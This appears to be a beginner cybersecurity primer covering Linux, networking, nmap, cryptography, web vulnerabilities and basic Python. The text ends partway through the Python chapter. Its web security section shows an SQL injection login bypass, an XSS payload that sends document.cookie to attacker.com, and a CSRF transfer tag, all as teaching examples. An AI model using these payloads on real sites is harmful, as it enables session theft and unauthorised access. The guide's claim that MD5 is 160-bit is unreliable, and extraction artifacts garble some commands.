The Cybersecurity Primer

A Comprehensive Beginner’s Guide to Cybersecurity

Fundamentals

Complete Learning Resource

December 2025
Contents

1 Introduction to Cybersecurity 4
1.1 What is Cybersecurity? . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.1.1 The CIA Triad . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.1.2 Why Cybersecurity Matters . . . . . . . . . . . . . . . . . . 4
1.2 Career Opportunities . . . . . . . . . . . . . . . . . . . . . . . . . . 4

2 Part 1: Linux Fundamentals 6

2.1 Why Linux in Cybersecurity? . . . . . . . . . . . . . . . . . . . . . 6
2.2 Linux Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 The Linux Directory Structure . . . . . . . . . . . . . . . . . 6
2.2.2 Basic Linux Commands . . . . . . . . . . . . . . . . . . . . 6
2.2.3 File Permissions . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.2.4 Users and Groups . . . . . . . . . . . . . . . . . . . . . . . . 8
2.2.5 Sudo (Superuser Do) . . . . . . . . . . . . . . . . . . . . . . 8
2.3 Text Processing and Analysis . . . . . . . . . . . . . . . . . . . . . 8
2.3.1 Grep - Search Text . . . . . . . . . . . . . . . . . . . . . . . 8
2.3.2 AWK - Data Extraction . . . . . . . . . . . . . . . . . . . . 9
2.3.3 SED - Stream Editor . . . . . . . . . . . . . . . . . . . . . . 9
2.4 Processes and Services . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.4.1 Managing Processes . . . . . . . . . . . . . . . . . . . . . . . 9
2.4.2 Managing Services . . . . . . . . . . . . . . . . . . . . . . . 10
2.5 Networking Commands . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.6 System Monitoring and Logs . . . . . . . . . . . . . . . . . . . . . . 11
2.6.1 System Information . . . . . . . . . . . . . . . . . . . . . . . 11
2.6.2 Important Log Files . . . . . . . . . . . . . . . . . . . . . . 11
2.6.3 Viewing Logs . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.7 Practice Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3 Part 2: Networking Fundamentals 13

3.1 Network Models . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.1.1 The OSI Model . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.1.2 TCP/IP Model . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.2 IP Addresses and Subnetting . . . . . . . . . . . . . . . . . . . . . . 13
3.2.1 IPv4 Addressing . . . . . . . . . . . . . . . . . . . . . . . . 13
3.2.2 Address Classes . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.2.3 Private IP Ranges . . . . . . . . . . . . . . . . . . . . . . . 14
3.3 Common Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.3.1 TCP Three-Way Handshake . . . . . . . . . . . . . . . . . . 14

1
CONTENTS 2

3.3.2 DNS (Domain Name System) . . . . . . . . . . . . . . . . . 14

3.3.3 HTTPS and TLS/SSL . . . . . . . . . . . . . . . . . . . . . 15
3.4 Firewalls and Access Control . . . . . . . . . . . . . . . . . . . . . . 15
3.4.1 Firewall Rules . . . . . . . . . . . . . . . . . . . . . . . . . . 15
3.4.2 UFW (Uncomplicated Firewall) . . . . . . . . . . . . . . . . 15
3.5 Network Reconnaissance . . . . . . . . . . . . . . . . . . . . . . . . 16
3.5.1 Ping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.5.2 Traceroute . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.5.3 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.5.4 Netstat and SS . . . . . . . . . . . . . . . . . . . . . . . . . 17
3.6 Practice Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 Part 3: Cryptography Basics 18

4.1 Encryption Fundamentals . . . . . . . . . . . . . . . . . . . . . . . 18
4.1.1 Symmetric Encryption . . . . . . . . . . . . . . . . . . . . . 18
4.1.2 Asymmetric Encryption . . . . . . . . . . . . . . . . . . . . 18
4.2 Hashing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
4.2.1 Password Hashing . . . . . . . . . . . . . . . . . . . . . . . . 19
4.3 Public Key Infrastructure (PKI) . . . . . . . . . . . . . . . . . . . . 19
4.3.1 Digital Certificates . . . . . . . . . . . . . . . . . . . . . . . 19
4.4 Practice Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

5 Part 4: Introduction to Web Security 21

5.1 Web Fundamentals . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.1.1 HTTP Protocol . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.1.2 HTTP Methods . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.1.3 HTTP Status Codes . . . . . . . . . . . . . . . . . . . . . . 21
5.2 Common Web Vulnerabilities . . . . . . . . . . . . . . . . . . . . . 22
5.2.1 1. SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . 22
5.2.2 2. Cross-Site Scripting (XSS) . . . . . . . . . . . . . . . . . 22
5.2.3 3. Cross-Site Request Forgery (CSRF) . . . . . . . . . . . . 23
5.2.4 4. Authentication Bypass . . . . . . . . . . . . . . . . . . . 23
5.2.5 5. Sensitive Data Exposure . . . . . . . . . . . . . . . . . . 23
5.3 Using Curl for Web Testing . . . . . . . . . . . . . . . . . . . . . . 23
5.4 Practice Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

6 Part 5: Python Programming for Security 25

6.1 Python Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
6.1.1 Variables and Data Types . . . . . . . . . . . . . . . . . . . 25
6.1.2 Control Flow . . . . . . . . . . . . . . . . . . . . . . . . . . 25
6.1.3 Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
6.2 Security-Related Libraries . . . . . . . . . . . . . . . . . . . . . . . 26
6.2.1 Requests Library . . . . . . . . . . . . . . . . . . . . . . . . 26
6.2.2 Socket Programming . . . . . . . . . . . . . . . . . . . . . . 27
6.2.3 Port Scanning with Python . . . . . . . . . . . . . . . . . . 27
6.2.4 Hash and Cryptography . . . . . . . . . . . . . . . . . . . . 28
6.3 Practice Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
CONTENTS 3

7 Part 6: Advanced Topics 30

7.1 Malware Analysis Basics . . . . . . . . . . . . . . . . . . . . . . . . 30
7.1.1 Static Analysis . . . . . . . . . . . . . . . . . . . . . . . . . 30
7.1.2 Dynamic Analysis . . . . . . . . . . . . . . . . . . . . . . . . 30
7.2 Privilege Escalation . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
7.2.1 Linux Privilege Escalation . . . . . . . . . . . . . . . . . . . 31
7.3 Incident Response . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
7.3.1 Incident Response Phases . . . . . . . . . . . . . . . . . . . 31
7.3.2 Collecting Evidence . . . . . . . . . . . . . . . . . . . . . . . 31

8 Resources and Further Learning 33

8.1 Online Platforms . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
8.2 CTF (Capture The Flag) Competitions . . . . . . . . . . . . . . . . 33
8.3 Certifications to Pursue . . . . . . . . . . . . . . . . . . . . . . . . 33
8.4 Books . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.5 Blogs and News Sites . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.6 Tools Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.7 Linux Distributions for Security . . . . . . . . . . . . . . . . . . . . 35
8.8 Creating Your Lab Environment . . . . . . . . . . . . . . . . . . . . 35
8.8.1 Required Software . . . . . . . . . . . . . . . . . . . . . . . 35
8.8.2 Lab Setup Steps . . . . . . . . . . . . . . . . . . . . . . . . . 35

9 Conclusion and Next Steps 36

9.1 Key Takeaways . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
9.2 Your Learning Path . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
9.3 Important Reminders . . . . . . . . . . . . . . . . . . . . . . . . . . 36
9.4 Stay Updated . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
9.5 Building Your Career . . . . . . . . . . . . . . . . . . . . . . . . . . 37
9.6 Final Words . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Chapter 1

Introduction to Cybersecurity

1.1 What is Cybersecurity?

Cybersecurity is the practice of protecting computers, networks, and data from
unauthorized access, theft, or damage. It involves implementing technical, admin-
istrative, and physical safeguards to ensure confidentiality, integrity, and availabil-
ity of information systems.

1.1.1 The CIA Triad

The foundation of cybersecurity rests on three pillars:

• Confidentiality: Only authorized users can access information. Data should

be encrypted and access controlled.

• Integrity: Data remains accurate and unchanged. Only authorized modifi-

cations are allowed.

• Availability: Systems and data are accessible to authorized users when

needed. Protection against denial of service attacks.

1.1.2 Why Cybersecurity Matters

• Global cybercrime costs exceed $6 trillion annually

• Data breaches expose millions of personal records yearly

• Ransomware attacks disable critical infrastructure

• Companies lose revenue, reputation, and customer trust after breaches

• Cybersecurity professionals are in extremely high demand

1.2 Career Opportunities

Common cybersecurity roles include:

4
1.2. CAREER OPPORTUNITIES 5

Role Salary Range Focus

Security Analyst 50K-70K Monitoring and threat detection
Penetration Tester 70K-120K Finding vulnerabilities
Security Architect 100K-150K Designing secure systems
Incident Response 60K-100K Responding to breaches
Security Engineer 80K-130K Building secure systems
Chapter 2

Part 1: Linux Fundamentals

2.1 Why Linux in Cybersecurity?

Linux is the most important operating system for cybersecurity professionals be-
cause:

• 99% of servers run Linux or Unix

• All major penetration testing tools are Linux-based

• Cloud infrastructure relies on Linux

• Open-source allows security auditing

• Industry standard for security operations

2.2 Linux Basics

2.2.1 The Linux Directory Structure
/ root - Root user home directory
/ home - Regular user home directories
/ etc - Configuration files
/ var - Variable data ( logs , temp files )
/ var / log - System logs
/ tmp - Temporary files
/ usr / bin - User programs
/ usr / local / bin - Custom installed programs
/ opt - Optional software packages
/ sys - System information
/ proc - Process information
/ dev - Device files

2.2.2 Basic Linux Commands

6
2.2. LINUX BASICS 7

# Navigating the filesystem

pwd # Print working directory
ls # List directory contents
ls - la # List with hidden files and details
cd / path / to / dir # Change directory
cd .. # Go to parent directory
cd ~ # Go to home directory

# File operations
cat filename # Display file contents
less filename # View file ( scrollable )
head -20 filename # Show first 20 lines
tail -20 filename # Show last 20 lines
cp file1 file2 # Copy file
mv file1 file2 # Move / rename file
rm filename # Delete file
rm -r directory # Delete directory recursively

# Creating files and directories

touch filename # Create empty file
mkdir directory # Create directory
mkdir -p path / to / dir # Create nested directories

2.2.3 File Permissions

Every file in Linux has three types of permissions: read (r), write (w), execute (x).
# View permissions
ls -l

# Output example :
# -rw -r - -r - - 1 user group 1234 Dec 9 10:00 file . txt
# First character : file type ( - = regular file , d =
directory )
# Next 3 chars : owner permissions ( rwx )
# Next 3 chars : group permissions ( rwx )
# Next 3 chars : others permissions ( rwx )

# Change permissions
chmod 755 script . sh # Owner : rwx , Group : rx , Others : rx
chmod 644 file . txt # Owner : rw , Group : r , Others : r
chmod 600 private . key # Owner : rw only ( secure for keys )
chmod + x script . sh # Add execute permission
chmod -x script . sh # Remove execute permission

# Change ownership
chown user filename # Change owner
chown user : group filename # Change owner and group
chown -R user : group directory # Recursive change
2.3. TEXT PROCESSING AND ANALYSIS 8

2.2.4 Users and Groups

# User information
whoami # Current username
id # User ID , groups , etc .
id username # Information about specific user
groups # Groups current user belongs to
cat / etc / passwd # All users on system
cat / etc / group # All groups on system

# User management ( requires root / sudo )

sudo useradd username # Add new user
sudo passwd username # Set user password
sudo userdel username # Delete user
sudo usermod - aG group username # Add user to group
sudo su # Switch to root
sudo su - username # Switch to another user

2.2.5 Sudo (Superuser Do)

Sudo allows authorized users to execute commands with root privileges.
sudo command # Execute command as root
sudo -l # List sudo privileges
sudo -u username cmd # Execute as specific user
visudo # Edit sudo configuration safely

Security Note: Files containing SSH keys and passwords should have per-
missions 600 (readable and writable only by owner).

2.3 Text Processing and Analysis

2.3.1 Grep - Search Text
Grep searches for patterns in files and output.
grep pattern filename # Find lines containing
pattern
grep -i pattern filename # Case - insensitive search
grep -n pattern filename # Show line numbers
grep -c pattern filename # Count matching lines
grep -r pattern directory # Recursive search
grep " ^ pattern " filename # Lines starting with
pattern
grep " pattern$ " filename # Lines ending with pattern

# Practical examples
grep " Failed ␣ password " / var / log / auth . log
grep " ERROR " / var / log / syslog
grep " admin " / etc / passwd
2.4. PROCESSES AND SERVICES 9

2.3.2 AWK - Data Extraction

AWK processes text line-by-line and extracts fields.
# Basic syntax : awk ’ condition { action } ’ file

awk ’{ print ␣ $1 } ’ file # Print first column

awk ’{ print ␣ $1 , ␣ $3 } ’ file # Print columns 1 and 3
awk -F : ’{ print ␣ $1 } ’ / etc / passwd # Print first field (:
delimiter )
awk ’{ print ␣ NR , ␣ $0 } ’ file # Print line number and line
awk ’NR >5 ␣ { print } ’ file # Skip first 5 lines
awk ’/ pattern / ␣ { print } ’ file # Print lines matching
pattern

# Practical examples
# Count failed logins per IP
grep " Failed ␣ password " / var / log / auth . log | awk ’{ print ␣
$11 } ’ | sort | uniq -c

# Extract usernames from passwd

awk -F : ’{ print ␣ $1 } ’ / etc / passwd

2.3.3 SED - Stream Editor

SED performs find-and-replace and text transformations.
sed ’s / old / new / g ’ file # Replace all occurrences
sed -i ’s / old / new / g ’ file # In - place replacement
sed ’d ’ file # Delete lines
sed ’1 ,5 d ’ file # Delete lines 1 -5
sed ’s / ␣ ␣ / ␣ / g ’ file # Replace multiple spaces
with one

# Practical examples
sed ’s / 1 9 2 . 1 6 8 . 1 . 1 / 1 9 2 . 1 6 8 . 1 . 2 / g ’ config . txt
sed ’s / $ /\ n / g ’ file # Add newline at end of
each line

2.4 Processes and Services

2.4.1 Managing Processes
# View processes
ps # Show processes for current user
ps aux # Show all processes with details
ps - ef # Alternative detailed view
ps aux | grep processname # Find specific process
top # Real - time process monitoring
2.5. NETWORKING COMMANDS 10

htop # Enhanced process monitoring

( install if needed )

# Controlling processes
kill PID # Terminate process by ID
kill -9 PID # Force kill process
killall processname # Kill all processes by name
bg # Run job in background
fg # Bring background job to foreground

2.4.2 Managing Services

# Systemd services
sudo systemctl start servicename # Start service
sudo systemctl stop servicename # Stop service
sudo systemctl restart servicename # Restart service
sudo systemctl status servicename # Check status
sudo systemctl enable servicename # Enable at boot
sudo systemctl disable servicename # Disable at boot
systemctl list - unit - files # List all services

2.5 Networking Commands

# Network configuration
ifconfig # Display network interfaces
ip addr # Modern interface configuration
ip addr show # Detailed interface information
hostname # Display hostname
hostname -I # Display IP addresses

# Testing connectivity
ping -c 4 host # Send 4 ping packets
traceroute host # Trace route to host
nslookup domain # DNS lookup
dig domain # Detailed DNS query
whois domain # Domain ownership info

# Viewing network connections

netstat - tuln # All listening ports
netstat - tun # All connections
ss - tuln # Modern replacement for netstat
ss - tun # Established connections
netstat - tupn # Connections with process info

# Network diagnostics
curl https :// example . com # Fetch web content
wget https :// example . com / file # Download file
nc - zv host port # Test port connectivity
2.6. SYSTEM MONITORING AND LOGS 11

telnet host port # Connect to port

# Firewall
sudo iptables -L # List firewall rules
sudo ufw enable # Enable firewall
sudo ufw disable # Disable firewall
sudo ufw allow 22 # Allow port 22
sudo ufw deny 22 # Deny port 22

2.6 System Monitoring and Logs

2.6.1 System Information
# System info
uname -a # Complete system information
lsb_release -a # Linux distribution info
cat / proc / cpuinfo # CPU information
free -h # Memory usage
df -h # Disk space usage
uptime # System uptime

# Hardware info
lspci # PCI devices
lsusb # USB devices
dmesg # Kernel messages ( startup )

2.6.2 Important Log Files

/ var / log / auth . log # Authentication events
( Ubuntu / Debian )
/ var / log / secure # Authentication events
( RedHat / CentOS )
/ var / log / syslog # System messages
/ var / log / kern . log # Kernel messages
/ var / log / apache2 / access . log # Apache web server access logs
/ var / log / apache2 / error . log # Apache error logs
/ var / log / nginx / access . log # Nginx access logs
/ var / log / nginx / error . log # Nginx error logs
/ var / log / mysql / error . log # MySQL error logs

2.6.3 Viewing Logs

# View logs
tail -f / var / log / auth . log # Follow log in real - time
tail -50 / var / log / syslog # Show last 50 lines
head -20 / var / log / auth . log # Show first 20 lines
less / var / log / auth . log # View with navigation
2.7. PRACTICE EXERCISES 12

# Analyze logs
grep " Failed ␣ password " / var / log / auth . log
grep " error " / var / log / syslog -i
grep " [Link] " / var / log / apache2 / access . log
wc -l / var / log / auth . log # Count lines ( entries )

# Find recent entries

journalctl -n 50 # Last 50 journal entries
journalctl -f # Follow journal
journalctl -- since " 2025 -12 -09 " # Entries from specific date
journalctl -u servicename # Logs for specific service

2.7 Practice Exercises

Exercise 1: File Permissions
1. Create a directory called myproject 2. Create a file [Link] inside
3. Set permissions so only you can read and write the file 4. Try to read it,
then remove read permission and try again 5. Restore read permission

Exercise 2: Log Analysis

1. Look at recent login attempts: grep "Failed password"
/var/log/[Link] 2. Count how many failed logins happened 3. Find
which usernames were targeted 4. Find the top IP addresses attempting
login

Exercise 3: Process Management

1. Open multiple terminal windows 2. Start a long-running process in one
window 3. Find its process ID with ps aux | grep 4. Monitor it with top
5. Kill it with kill command
Chapter 3

Part 2: Networking Fundamentals

3.1 Network Models

3.1.1 The OSI Model
The Open Systems Interconnection (OSI) model describes how networks function
in seven layers:

Layer Name Protocols Examples

7 Application HTTP, HTTPS, DNS, SSH, FTP, SMTP Web browsers, email
6 Presentation JPEG, PNG, SSL/TLS Data encryption
5 Session NetBIOS, PPTP Session management
4 Transport TCP, UDP, SCTP Port-based communication
3 Network IP, ICMP, IGMP Routing, IP addresses
2 Data Link Ethernet, PPP, ARP MAC addresses, switches
1 Physical Copper cables, fiber, radio Hardware transmission

3.1.2 TCP/IP Model

A more practical model with four layers:

• Application Layer: HTTP, HTTPS, DNS, SSH, Telnet, SMTP, POP3,

IMAP, FTP

• Transport Layer: TCP (connection-oriented), UDP (connectionless)

• Internet Layer: IP (IPv4, IPv6), ICMP, IGMP

• Link Layer: Ethernet, WiFi (802.11), PPP

3.2 IP Addresses and Subnetting

3.2.1 IPv4 Addressing
An IPv4 address consists of four octets (0-255), written as dotted decimal notation.

13
3.3. COMMON PROTOCOLS 14

[Link]
^ ^ ^ ^
1 st 2 nd 3 rd 4 th octet

3.2.2 Address Classes

Class Range Default Mask Use
A 1-126 [Link] Large networks
B 128-191 [Link] Medium networks
C 192-223 [Link] Small networks
D 224-239 N/A Multicast
E 240-255 N/A Reserved

3.2.3 Private IP Ranges

These ranges are reserved for private networks and not routable on the internet:

• Class A: [Link] to [Link] ([Link]/8)

• Class B: [Link] to [Link] ([Link]/12)

• Class C: [Link] to [Link] ([Link]/16)

3.3 Common Protocols

3.3.1 TCP Three-Way Handshake
TCP establishes a connection using three steps:

Client Server
| |
|----------- SYN ------------->|
| |
|<---------- SYN-ACK -----------|
| |
|---------- ACK ------------->|
| |
| (Connection Established) |

3.3.2 DNS (Domain Name System)

DNS translates human-readable domain names to IP addresses.
# DNS queries
nslookup google . com
dig google . com
host google . com

# Query specific record types

3.4. FIREWALLS AND ACCESS CONTROL 15

dig google . com MX # Mail exchange records

dig google . com NS # Name server records
dig google . com TXT # Text records
dig google . com A # IPv4 addresses
dig google . com AAAA # IPv6 addresses

Security Implication: DNS is unencrypted by default, allowing attackers to

hijack queries (DNS poisoning). Use DNS over HTTPS (DoH) or DNSSEC for
protection.

3.3.3 HTTPS and TLS/SSL

HTTPS encrypts HTTP traffic using SSL/TLS protocol.
# Check SSL certificate
openssl s_client - connect example . com :443

# View certificate details

openssl x509 - in certificate . pem - text - noout

# Check certificate expiration

echo | openssl s_client - servername example . com - connect
example . com :443 2 >/ dev / null | openssl x509 - noout - dates

3.4 Firewalls and Access Control

3.4.1 Firewall Rules
A firewall controls traffic based on rules:

Rule 1: ALLOW TCP port 22 (SSH) from [Link]/24

Rule 2: ALLOW TCP port 80 (HTTP) from anywhere
Rule 3: ALLOW TCP port 443 (HTTPS) from anywhere
Rule 4: DENY TCP port 3306 (MySQL) from anywhere
Rule 5: DENY everything else (default deny)

3.4.2 UFW (Uncomplicated Firewall)

# Enable firewall
sudo ufw enable

# Check status
sudo ufw status
sudo ufw status verbose

# Allow connections
sudo ufw allow 22 # Allow SSH
sudo ufw allow 80 # Allow HTTP
sudo ufw allow 443 # Allow HTTPS
3.5. NETWORK RECONNAISSANCE 16

sudo ufw allow 22/ tcp # Allow TCP port 22

sudo ufw allow 53/ udp # Allow UDP port 53 ( DNS )

# Deny connections
sudo ufw deny 3306 # Deny MySQL port
sudo ufw deny 3389 # Deny RDP

# Delete rules
sudo ufw delete allow 22
sudo ufw delete deny 3306

# Reset firewall
sudo ufw reset

# Disable firewall
sudo ufw disable

3.5 Network Reconnaissance

3.5.1 Ping
Tests host reachability:
ping -c 4 google . com # Send 4 packets
ping -c 4 -i 2 google . com # Send 4 packets , 2 second
interval
ping -c 4 -s 1500 google . com # Custom packet size

3.5.2 Traceroute
Shows the path packets take to a destination:
traceroute google . com
traceroute -m 30 google . com # Maximum 30 hops
traceroute -I google . com # Use ICMP instead of UDP

3.5.3 Nmap
Network mapping and port scanning tool:
# Basic scan
nmap target . com
nmap [Link]

# Port range scanning

nmap -p 1 -1000 target . com # Scan ports 1 -1000
nmap -p 22 ,80 ,443 target . com # Specific ports
nmap -p - target . com # All ports ( slow )

# Service version detection

3.6. PRACTICE EXERCISES 17

nmap - sV target . com

# Operating system detection

nmap -O target . com

# Aggressive scan
nmap -A target . com # Combines sV , sC , and more

# Scan multiple hosts

nmap [Link]/24 # Scan entire subnet

# Stealth scanning
nmap - sS target . com # TCP SYN scan ( stealth )
nmap - sN target . com # TCP NULL scan
nmap - sF target . com # TCP FIN scan

3.5.4 Netstat and SS

Display network connections:
# Netstat ( older )
netstat - tuln # TCP and UDP listening
netstat - tun # All connections
netstat - tupn # With process information
netstat -i # Interface statistics

# SS ( newer , recommended )
ss - tuln # TCP and UDP listening
ss - tun # All connections
ss - tupn # With process information
ss -i # Interface statistics

3.6 Practice Exercises

Exercise 1: Network Scanning
1. Scan your local network: nmap [Link]/24 2. Identify all active
hosts 3. Find open ports on a specific host 4. Determine service versions
with nmap -sV

Exercise 2: DNS Investigation

1. Perform a DNS lookup: dig [Link] 2. Check mail servers: dig
[Link] MX 3. Check name servers: dig [Link] NS 4. Try reverse
DNS: dig -x [Link]
Chapter 4

Part 3: Cryptography Basics

4.1 Encryption Fundamentals

4.1.1 Symmetric Encryption
Same key encrypts and decrypts data. Fast but key management is challenging.
Common algorithms:

• AES (Advanced Encryption Standard): 128, 192, or 256-bit keys. In-

dustry standard.

• DES (Data Encryption Standard): Older, 56-bit key. No longer secure.

• 3DES: Triple DES. Better than DES but slower.

• RC4: Stream cipher. Fast but vulnerable.

4.1.2 Asymmetric Encryption

Two different keys: public key (encrypt) and private key (decrypt). Slower but
solves key distribution problem.
Common algorithms:

• RSA: 1024-4096 bit keys. Widely used.

• ECC (Elliptic Curve): Smaller keys, same security. Modern alternative.

• DSA: Digital Signature Algorithm. For signing only.

4.2 Hashing
Hash functions produce fixed-size fingerprints of data. One-way and deterministic.
# Generate hashes
md5sum filename # MD5 hash (160 - bit )
sha1sum filename # SHA -1 hash (160 - bit )
sha256sum filename # SHA -256 hash (256 - bit )
sha512sum filename # SHA -512 hash (512 - bit )

18
4.3. PUBLIC KEY INFRASTRUCTURE (PKI) 19

# Hash text
echo " password " | md5sum
echo " password " | sha256sum

# Create hash file

sha256sum file1 file2 > checksums . txt

# Verify hashes
sha256sum -c checksums . txt

Security Note: MD5 and SHA-1 are cryptographically broken. Use SHA-256
or SHA-512.

4.2.1 Password Hashing

Passwords should never be stored in plaintext. Use bcrypt, scrypt, or Argon2.

• bcrypt: Slow, adaptive, with salt. Recommended for passwords.

• scrypt: Memory-hard, resistant to GPU attacks.

• Argon2: Winner of Password Hashing Competition. State-of-the-art.

4.3 Public Key Infrastructure (PKI)

4.3.1 Digital Certificates
Certificates prove ownership of a public key. Signed by Certificate Authorities
(CAs).
# Generate private key
openssl genrsa - out private . key 2048

# Create certificate signing request

openssl req - new - key private . key - out request . csr

# Self - signed certificate

openssl req - x509 - key private . key - out certificate . crt
- days 365

# View certificate details

openssl x509 - in certificate . crt - text - noout

# Check certificate validity

openssl x509 - in certificate . crt - noout - dates
4.4. PRACTICE EXERCISES 20

4.4 Practice Exercises

Exercise 1: Hashing Files
1. Create a file with some content 2. Generate SHA-256 hash: sha256sum
[Link] 3. Modify the file 4. Generate hash again 5. Notice how the hash
changed completely

Exercise 2: SSH Keys

1. Generate SSH key pair: ssh-keygen 2. View your public key: cat
/.ssh/id [Link] 3. View your private key permissions: ls -la /.ssh/
4. Ensure private key is 600 permissions
Chapter 5

Part 4: Introduction to Web

Security

5.1 Web Fundamentals

5.1.1 HTTP Protocol
HTTP is the foundation of the web. Understanding its structure is crucial.
HTTP Request :
GET / index . html HTTP /1.1
Host : example . com
User - Agent : Mozilla /5.0
Accept : text / html

HTTP Response :
HTTP /1.1 200 OK
Content - Type : text / html
Content - Length : 1234

< html >... content ... </ html >

5.1.2 HTTP Methods

Method Purpose Security
GET Retrieve data Visible in URL, cacheable
POST Submit data Hidden in body, not cached
PUT Replace resource Should require authentication
DELETE Remove resource Should require authentication
HEAD Like GET, no body Safe
PATCH Partial update Modify specific fields
OPTIONS Describe communication Informational

5.1.3 HTTP Status Codes

• 1xx: Informational (100 Continue)
• 2xx: Success (200 OK, 201 Created, 204 No Content)

21
5.2. COMMON WEB VULNERABILITIES 22

• 3xx: Redirection (301 Moved, 302 Found, 304 Not Modified)

• 4xx: Client Error (400 Bad Request, 401 Unauthorized, 403 Forbidden, 404
Not Found)
• 5xx: Server Error (500 Internal Server Error, 502 Bad Gateway, 503 Service
Unavailable)

5.2 Common Web Vulnerabilities

5.2.1 1. SQL Injection
Attackers insert SQL code into input fields to manipulate queries.
Vulnerable query :
SELECT * FROM users WHERE username = ’ admin ’ AND
password = ’ PASSWORD ’

Attack input :
Username : admin ’ OR ’1 ’= ’1
Password : anything

Resulting query :
SELECT * FROM users WHERE username = ’ admin ’ OR ’1 ’= ’1 ’ AND
password = ’ anything ’

Result : Returns all users , bypassing authentication

Prevention: Use prepared statements and parameterized queries.

# Safe PHP code
$stmt = $conn - > prepare ( " SELECT ␣ * ␣ FROM ␣ users ␣ WHERE ␣
username =? ␣ AND ␣ password =? " ) ;
$stmt - > bind_param ( " ss " , $username , $password ) ;
$stmt - > execute () ;

5.2.2 2. Cross-Site Scripting (XSS)

Attackers inject JavaScript into web pages to steal data from users.
Vulnerable input field :
User enters : < script > alert ( ’ hacked ’) </ script >

If unsanitized , script executes in every user ’ s browser who

visits the page .

Advanced attack :
< script >
fetch ( ’ http :// attacker . com ? cookie = ’ + document . cookie )
</ script >

This steals session cookies from every visitor .

5.3. USING CURL FOR WEB TESTING 23

Prevention: Sanitize user input and encode output.

5.2.3 3. Cross-Site Request Forgery (CSRF)

Attackers trick authenticated users into making unwanted requests.
1. You log into your bank
2. You visit attacker ’ s website ( in another tab )
3. Website contains : < img
src =" https :// bank . com / transfer ? to = attacker & amount =1000" >
4. Your browser sends request with your session cookie
5. Bank transfers money without your knowledge

Prevention: Use CSRF tokens (unique, unpredictable values).

5.2.4 4. Authentication Bypass

Weak authentication allows unauthorized access.
Examples :
- Default credentials ( admin / admin )
- Weak password requirements
- Session token in URL : example . com / dashboard ? session = abc123
- No multi - factor authentication
- Credentials sent over HTTP ( unencrypted )

5.2.5 5. Sensitive Data Exposure

Confidential data leaked due to insufficient protection.
Examples :
- Database backup with passwords in plaintext
- Credit card numbers in logs
- Private keys exposed on GitHub
- Unencrypted data transmission ( HTTP instead of HTTPS )
- Backup files accessible via web server

5.3 Using Curl for Web Testing

# Basic request
curl https :// example . com

# Follow redirects
curl -L https :// example . com

# Custom headers
curl -H " Authorization : ␣ Bearer ␣ TOKEN "
https :// api . example . com

# Send data
5.4. PRACTICE EXERCISES 24

curl -d " param1 = value1 & param2 = value2 " https :// example . com

# JSON data
curl -H " Content - Type : ␣ application / json " -d
’ {" key ":" value "} ’ https :// api . example . com

# View response headers

curl -i https :// example . com

# Save to file
curl -o filename https :// example . com

# Verbose output
curl -v https :// example . com

# Custom HTTP method

curl -X DELETE https :// api . example . com / resource /1

# Check for specific header

curl -I https :// example . com | grep "X - Frame - Options "

5.4 Practice Exercises

Exercise 1: Understanding HTTP
1. Use curl to fetch a website: curl -v [Link] 2. Identify
the HTTP method 3. Look at response headers 4. Find the status code 5.
Check for security headers like X-Frame-Options

Exercise 2: Web Vulnerability Labs

Visit these platforms for hands-on practice:

• PortSwigger Web Security Academy (free)

• OWASP Juice Shop (vulnerable app)

• HackTheBox (realistic challenges)

• TryHackMe (guided labs)

Chapter 6

Part 5: Python Programming for

Security

6.1 Python Basics

Python is essential for cybersecurity professionals.

6.1.1 Variables and Data Types

# Strings
name = " John "
message = " Hello , ␣ World ! "

# Numbers
age = 30
price = 19.99

# Lists
numbers = [1 , 2 , 3 , 4 , 5]
print ( numbers [0]) # First element
print ( numbers [ -1]) # Last element

# Dictionaries
person = { " name " : " John " , " age " : 30 , " city " : " NYC " }
print ( person [ " name " ])

# Tuples ( immutable )
coordinates = (10 , 20)

# Sets ( unique values )

colors = { " red " , " green " , " blue " }

6.1.2 Control Flow

# If / else
age = 25

25
6.2. SECURITY-RELATED LIBRARIES 26

if age >= 18:

print ( " Adult " )
elif age >= 13:
print ( " Teenager " )
else :
print ( " Child " )

# Loops
for i in range (5) :
print ( i )

for item in [ " a " , " b " , " c " ]:

print ( item )

while True :
user_input = input ( " Enter ␣ command ␣ ( q ␣ to ␣ quit ) : ␣ " )
if user_input == " q " :
break

6.1.3 Functions
def greet ( name ) :
return f " Hello , ␣ { name }! "

result = greet ( " Alice " )

